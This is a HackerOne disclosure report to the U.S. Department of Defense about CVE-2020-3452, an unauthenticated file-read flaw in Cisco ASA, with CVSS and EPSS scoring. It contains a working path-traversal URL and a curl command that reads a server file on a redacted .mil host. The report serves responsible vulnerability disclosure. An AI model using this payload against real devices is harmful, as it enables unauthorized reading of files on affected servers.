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hackeroneMzfrH1:951530
HistoryAug 05, 2020 - 11:26 a.m.

U.S. Dept Of Defense: [CVE-2020-3452] Unauthenticated file read in Cisco ASA

2020-08-0511:26:03
mzfr
hackerone.com
40

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N

0.975 High

EPSS

Percentile

100.0%

Hey,

I found out that host ████████.mil was vulnerable to CVE-2020-3452.

You can test it by visiting the URL:

https://██████████.mil/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal_inc.lua

To try it with CURL please run the following command:

curl -i -s -k  -X $'GET' \
    -H $'Host: ███████.mil' -H $'Connection: close' -H $'Upgrade-Insecure-Requests: 1' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9' -H $'Sec-Fetch-Site: none' -H $'Sec-Fetch-Mode: navigate' -H $'Sec-Fetch-Dest: document' -H $'Accept-Encoding: gzip, deflate' -H $'Accept-Language: en-GB,en-US;q=0.9,en;q=0.8' \
    $'https://████████.mil/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal_inc.lua'

███████

Reference:

Impact

Anyone can read any file present on the server.

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N

0.975 High

EPSS

Percentile

100.0%